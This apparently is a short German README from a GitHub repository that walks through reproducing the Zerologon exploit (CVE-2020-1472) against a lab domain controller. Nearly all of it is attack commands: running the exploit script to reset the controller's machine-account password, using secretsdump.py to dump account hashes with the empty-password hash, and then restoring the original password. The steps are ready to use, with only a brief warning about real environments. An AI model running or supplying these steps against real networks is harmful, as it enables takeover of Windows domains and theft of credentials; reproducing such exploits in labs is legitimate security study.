naxg/cve-2020-1472CVE-2020-1472 Reproduktionsablauf
Nach der Reproduktion gibt es einen kleinen Bug: Nach dem Neustart hängt das System ziemlich lange auf dem Anmeldebildschirm. Ich weiß nicht, ob das nur bei mir auftritt. (Vorsicht bei der Ausnutzung in einer realen Umgebung) In der Praxis kann man mit -use-vss und -history von secretsdump.py den historischen Hash abrufen und so die Wiederherstellung durchführen.
Schritt 1
pip3 install -r requirements.txt
Hash anzeigen
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'
Angriff
python3 CVE-2020-1472.py AD AD$ 192.168.175.132
Hash des Domänencontrollers abfragen
secretsdump.py molecule-labs.com/'AD$'@192.168.175.132 -just-dc-user 'AD$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
Hash wiederherstellen
python3 reinstall_original_pw.py AD 192.168.175.132 061e8e521872fa93a2f8d89ca0683145
Wiederhergestellten Hash abfragen
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'
Skriptquellen https://github.com/blackarrowsec/redteam-research
